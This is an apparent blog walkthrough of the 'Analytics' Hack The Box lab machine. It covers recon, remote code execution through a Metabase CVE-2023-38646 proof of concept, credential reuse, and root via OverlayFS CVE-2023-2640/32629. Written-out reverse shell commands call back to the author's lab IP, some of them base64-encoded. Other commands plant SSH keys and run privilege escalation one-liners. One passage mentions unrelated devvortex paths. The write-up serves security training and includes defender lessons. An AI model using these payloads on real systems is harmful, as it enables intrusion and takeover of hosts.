Analytics
2024-02-01
INTRODUCTION
At the time of writing this walkthrough, Analytics is still active. The box centers around a fictional analytics company that provides data analysis services using the infrastructure they’re hosting. The company is running a popular open-source analytics / BI platform. This box uses a modern architecture, reflective of how real websites run these days (when they’re on-prem).
For each step of Analytics, the skill emphasis is placed firmly on enumeration. Combining effective enumeration skills with some good research is well-rewarded at every step of this box. For this box, foothold, user, and root are each only a single step. Once you research the right things, it should all fall right into your lap. Have some fun with this one; use this opportunity to sharpen your enumeration toolset.
RECON
nmap scans
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
Not shown: 81 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
9/udp open|filtered tcpwrapped
53/udp open|filtered domain
68/udp open|filtered tcpwrapped
111/udp open|filtered rpcbind
177/udp open|filtered xdmcp
514/udp open|filtered tcpwrapped
515/udp open|filtered tcpwrapped
593/udp open|filtered tcpwrapped
626/udp open|filtered serialnumberd
1022/udp open|filtered tcpwrapped
1646/udp open|filtered tcpwrapped
4444/udp open|filtered tcpwrapped
17185/udp open|filtered wdbrpc
20031/udp open|filtered tcpwrapped
31337/udp open|filtered BackOrifice
32771/udp open|filtered sometimes-rpc6
49181/udp open|filtered unknown
49191/udp open|filtered unknown
49201/udp open|filtered unknown
Note that these are open|filtered
, so there’s a very good chance these probes were simply dropped instead of actually open.
Webserver Strategy
Noting the redirect from the nmap scan, I added analytical.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=analytical.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
Nothing out of the ordinary there.
Next I performed vhost enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results from the vhost scan. Now I’ll do a vhost scan, checking for subdomains of analytical.htb
:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/subdomain-$DOMAIN.md -of md -timeout 4 -ic -ac -v
Just for good measure, I’ll do a subdomain scan for http://analytical.htb:
ffuf -w $WLIST -u http://FUZZ.$DOMAIN -c -t 60 -o fuzzing/subdomain-$DOMAIN.md -of md -timeout 4 -ic -ac -v
I’m not sure why, but scanning for subdomains using the second method always goes much slower than the first method.
Ok, so data.analytical.htb exists (but, skipping ahead, even a quick check of the Login page would have shown the same thing) I’ll add it to my /etc/hosts
file:
echo "$RADDR data.$DOMAIN" | sudo tee -a /etc/hosts
So far, I know about analytical.htb
and data.analytical.htb
. I’ll do directory enumeration over those two next. First up, analytical.htb
:
🤔 To be honest, I still don’t have a favourite directory enumeration tool:
Often, I favor ffuf for directory enumeration, for its extensive options. Other times, I like the simplicity of gobuster. And if I want to enumerate very deeply, I’ll use feroxbuster.
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
OUTPUT="fuzzing/directory"
# This is what I often use:
# ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o "$OUTPUT.json" -of json -e php,asp,js,html -timeout 4 -v
gobuster dir -w $WLIST -u http://$DOMAIN \
--random-agent -t 10 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "$OUTPUT-$DOMAIN.txt" \
--no-error
Directory enumeration against http://analytical.htb/ gave the no results.
Next, I’ll do directory enumeration on the subdomain, data.analytical.htb
. Due to the amount of false-positives, I had to set some length filters on the results:
ffuf -w $WLIST:FUZZ -u http://data.$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o "data.$DOMAIN-$OUTPUT.json" -of json -e php,html -timeout 4 -v -fw 3574,1
Directory enumeration against http://data.analytical.htb/ didn’t give any interesting results. Just a few unimportant pages showed up in the scan.
Exploring the website
Navigating to the /login
page shows that this website is running Metabase, an open source Analytics/BI platform:
Just to check the obvious, I did a web search for “Metabase CVE” to see if there was anything. As it turns out, there’s plenty - including one fairly recent Critical (9.8): CVE-2023-38646. But is this server vulnerable? A quick check of http://data.analytical.htb/api/session/properties exposes all kinds of juicy info, including:
- the version number:
0.46.6
- the setup token (see below):
249fa03d-fd94-4d5b-b94f-b4ebf3df681f
- a bunch of database connection information
Lucky for us, according to the NIST entry this version of Metabase might be vulnerable 👍 I’m sure there’s some excellent PoC code waiting to be used.
FOOTHOLD
Testing for vulnerability
After trying a few different PoC exploits, I eventually found this one, by @robotmikhro. The way to test for the vulnerability is by running the provided PoC, and attempting to get the target Metabase server to make a request to a webserver under your control (many people use Burp Collaborator for this). Many PoC tools require you to obtain the setup token
from http://data.analytical.htb/api/session/properties first, but this tool detects it for you.
So, to try this out, first I need to start up a webserver:
# open the firewall and start up an http server
sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
mkdir www; cd www
python3 -m http.server 8000
# run the PoC code
python3 single.py -u http://data.analytical.htb -c 'curl http://10.10.14.9:8000/itworked'
Bingo! That means it’s vulnerable.
The exploit works by making a POST request to /api/setup/validate
, using a specially crafted payload. Within that payload is a bogus definition of which database to query. The definition we provide will actually contain a command that we inject (above, just a simple curl request).
Gaining RCE
I’ll try using this exploit to form a reverse shell. No need to play with encoding: this exploit handles that already. First, I’ll try a bash reverse shell:
# switch to bash, instead of zsh
bash
socat -d TCP-LISTEN:4444 STDOUT
python3 single.py -u http://data.analytical.htb -c 'bash -i >& /dev/tcp/10.10.14.9/4444 0>&1'
Hmm, no result… 🤔 I’ll try having the target reach out to my listener over nc
instead, just to see if it can make contact using nc at all.
python3 single.py -u http://data.analytical.htb -c 'nc 10.10.14.9 4444'
Ok, so it contacted my listener. I’ll try some other reverse shells:
# nc with bash
python3 single.py -u http://data.analytical.htb -c 'nc 10.10.14.9 4444 -e bash' # Connection received but closed right away
# Bash 196
python3 single.py -u http://data.analytical.htb -c '0<&196;exec 196<>/dev/tcp/10.10.14.9/4444; bash <&196 >&196 2>&196' # Success!
Excellent! the Bash 196 reverse shell worked. I’m not yet sure why that one worked and the others didn’t. It’ll probably become apparent later.
🎁 One of my favourite tools lately is the Reverse Shell Generator at https://www.revshells.com/ by @0dayCTF.
Simply pop in your IP address and listener port, then specify what type of shell you want (and what type of encoding to use), and it handles all of the rest for you. I find it very handy for experimenting with many different reverse shell types without too much effort! 10/10 👍
USER FLAG
Enumeration: metabase
First things first, let’s do some simple enumeration of the system. What notable users exist?
id && cat /etc/passwd | grep -v nologin | grep -v /bin/false
root:x:0:0:root:/root:/bin/ash
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
metabase:x:2000:2000:Linux User,,,:/home/metabase:/bin/ash
Interesting: metabase appears to be the only user with a home directory. That’s either a good thing (that we can go straight to the user flag) or a bad thing (we’re probably in a docker container). It’s probably the latter.
A quick check of the home directory confirms it: there is no flag present. Thankfully though, we have write access to the home directory - so why not take this opportunity to plant an SSH key?
# On the attacker machine, generate a new key
ssh-keygen -t rsa -b 4096 # I used passphrase "5parrow"
chmod 700 ./id_rsa
base64 -w 0 id_rsa.pub > id_rsa.pub64
cat id_rsa.pub64 # copy output to clipboard
# On the target machine, write the public key into authorized_keys
echo “c3NoLX...hvc3Q=” | base64 --decode > /home/metabase/.ssh/authorized_keys
☝️ I find it useful to write the base64-encoded public key to a file. Often enough, you’ll need to reset the box, re-exploit, and re-plant the SSH key. All that becomes incrementally easier if you take good notes on your exploit and public key.
Hmm… Attempting to log in via SSH was unsuccessful. Apparently the target machine does not allow for login with a key only. That’s fine. I’ll just upgrade my shell instead.
Please see my guide on upgrading the shell for more details. I wrote it only a couple days ago 😄
Unfortunately, none of that is really working. I can’t even switch into bash
- still stuck in sh
! 😬
Oh well, I’ll continue on with enumeration using this dumb shell. Checking env
(one of the first things I do when I start linux enumeration) reveals some very interesting details:
That looks like a credential for Metabase itself: metalytics : An4lytics_ds20223# I’ll try it on the website first, and hope for a re-used credential elsewhere.
Nope, it looks like I can’t use just a username as a login… I’ll need an email address.
I tried “metalytics@metabase.htb” with no success. Realizing I probably should have used a known/confirmed domain, I tried metalytics@analytical.htb:
Success! I’ll take a look at the dashboard in a little bit 🚩. For now, I want to check for credential re-use with SSH:
🎉 Wonderful! Now I have a much nicer shell to use, and a way to log back in without re-exploiting. Not only that, but metalytics has a home directory, and they have the user flag! Read the flag for some points:
cat /home/metalytics/user.txt
That was probably the fastest and easiest escape from a docker container I’ve ever experienced 🐳
Optional: Planting a new SSH key
I already generated an ssh key for this box; I’ll go ahead and plant it into metalytics so that I can make an ssh config file on my attacker box. The result is simply that I won’t need to use the password to connect in the future (and that it’s good practice).
Note that this would be foolish to do on an actual engagement: it unnecessarily leaves behind obvious evidence of your intrusion.
# On the attacker machine:
cat id_rsa.pub64 # copy to clipboard
RUSER=metalytics
echo "Host $RUSER\n\tHostName $RADDR\n\tUser $RUSER\n\tIdentityFile ./id_rsa\n\tIdentitiesOnly yes" > ssh_config_$RUSER
# On the target machine, paste the base64 pubkey:
mkdir -p ~/.ssh; echo "c3NoL...bGkK" | base64 -d >> ~/.ssh/authorized_keys
# Log in from attacker machine:
ssh -F ssh_config_$RUSER $RUSER
ROOT FLAG
Enumeration: metalytics
Set up convenient alias and a tmp directory for my toolbox:
alias ll="ls -lah" && mkdir -p /tmp/.Tools && chmod 770 /tmp/.Tools
What other users are on this box?
id && cat /etc/passwd | grep -v nologin | grep -v /bin/false
Looks like just metalytics and root. Can I sudo
anything?
# Can I `sudo` anything?
sudo -l # nope
# Any interesting environment variables?
env # nothing unexpected
# Find where www-data has write permissions
find / -user $USER 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
find / -group $USER 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
Only the home directory is writable by metalytics. Output is omitted for clarity, but the gist is that www-data has write permissions to /var/www/devvortex.htb
, /var/www/dev.devvortex.htb
, and /etc/nginx
. What about notable software?
which nc netcat socat curl wget python python3 perl php tmux
The box has nc, netcat, curl, wget, python3, perl, tmux
.
What listening services are running?
netstat -tulpn | grep LISTEN
We already knew about SSH and HTTP from the initial nmap scans, but now we also know DNS and MySQL are listening. Is cron running anything notable?
crontab -l ; cat /etc/crontab ; ls -laR /etc/cron
No, nothing interesting there. Let’s take a quick look for SUID/SGID executables, and for files with extra capabilities:
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'; getcap -r / 2>/dev/null
Also nothing out of the ordinary in there.
Let’s check for simple, system-wide vulnerabilities like kernel or sudo
:
First I’ll look into sudo
:
sudo --version
# Sudo version 1.9.9
# Sudoers policy plugin version 1.9.9
# Sudoers file grammar version 48
# Sudoers I/O plugin version 1.9.9
# Sudoers audit plugin version 1.9.9
Hmm, my attacker box is running sudo version 1.9.15p5
. Again, not ancient, but a little old. I’ll run it through searchsploit
:
🤤 That looks very promising! I remember hearing about some sudo
vulnerability a few months back. Examining the exploit with searchsploit -x 51217
shows that it pertains to CVE-2023-22809, a vulnerability in how sudo
parses positional arguments following a --
break. It’s just a shell script, so why not give it a try?
# on the attacker box
cp /usr/share/exploitdb/exploits/linux/local/51217.sh ~/Box_Notes/Analytics/Tools/
cd ~/Box_Notes/Analytics/Tools/
python3 -m http.server 8000
# on the target box
cd /tmp/.Tools
wget http://10.10.14.9:8000/51217.sh
chmod +x 51217.sh
./51217.sh # run it
No luck! I tried a few different PoC scripts that I found on github for this CVE as well - all had no effect.
Next, I’ll check the kernel and look for an exploit:
uname -a # or alternatively, use cat /proc/version
# Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
Ok, 6.2.0 is definitely not the newest, but it’s not ancient either. I cross-referenced this against the list of kernel exploits in this github repo and found nothing. However, when I did a web search for this specific version of the kernel, I found several mentions of a CVE. Actually a pair of CVEs used in conjunction: CVE-2023-2640 & CVE-2023-32629, cutely dubbed Game Overlay.
Surprise, surprise: a little more searching turned up a PoC exploit:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"
Wait, what?! Did it actually work? Sometimes these filesystem exploits seem like witchcraft. I’ll try modifying the PoC into a reverse shell. I’ll start out with a base64-encoded bash shell:
# On the attacker box, open the firewall and start a listener
sudo ufw allow from $RADDR to any port 4445 proto tcp
socat -d TCP-LISTEN:4445 STDOUT
# On the target box, try the modified payload:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDUgMD4mMQ== | base64 -d | bash -i \")'"
😐 Partial success? I definitely just got a reverse shell as root, but in doing so… the whole filesystem lost its directory permissions?
I’ll be honest, definitely never seen that before 👀
Thankfully, if I exit
out of the “root” reverse shell, it terminates the connection and brings my old SSH connection back into metalytics. I wonder why that’s happening. I’ll try to find some other PoC scripts for these CVEs and see if I get the same result.
I found another PoC that is a little more sophisticated, by @g1vi. It works on the same principle, but instead it copies bash
into a directory and sets the SUID bit on it. Then, once you exit
from the root user, the whole thing cleans itself up - nice!
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
🍒 Alright! That did it!
It’s unclear to me why the first one had that strange effect: changing all the filesystem’s permissions. The major difference between the two is that the former is two separate commands, while the latter runs the whole payload through a
sh -c
call.
Now that I can access /root
, just cat
the flag for the root points! 👏
LESSONS LEARNED
Attacker
- Check for CVEs early and often. As soon as you fingerprint the target (or identify the version of an application that might be a PE vector), do a very quick search online and see if any CVEs apply. Often enough, this will point you in the right direction and prevent you from re-inventing the wheel. If you’re lucky, there will even be some PoC code, saving even more time.
- Don’t be afraid to try new shells: For this box, I had to use a reverse shell that I had only used once before. Thankfully, with tools like https://www.revshells.com/, it becomes very fast and easy to switch the type of reverse shell you’re using.
- Use a checklist. It’s really easy to overlook tiny details and have them fade into the overwhelming mess of information that you sift through while enumerating. When you’re hacking, the devil is in the details. Stick to a checklist and be methodical. For each item in the checklist, try to apply a little research to the box’s little details. Often enough, this pedantic habit save you hours of time.
Defender
Stay on top of breaking news with CVEs. Or better yet, keep your code on Github and use one of their awesome vulnerability-scanning tools. As an administrator, it’s best to automate whatever you can. Not only will it save you time, it can act as an early-warning system to act against emerging vulnerabilities and exploits.
Avoid credential re-use. There is no good reason to justify why lewis re-used their credential for the database. It’s just sloppy and lazy, making the attacker’s job substantially easier.
Keep secrets out of
env
. When possible, be sure tounset
shell variables. Try to use a proper.env
file instead. Better yet, just abstract-away the problem by having your CMS handle the secrets for you.Minimize privileges that might be risky. Why was the metalytics user able to use OverlayFS at all? The privesc to root could have been prevented by keeing OverlayFS out of the hands of unprivileged users.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake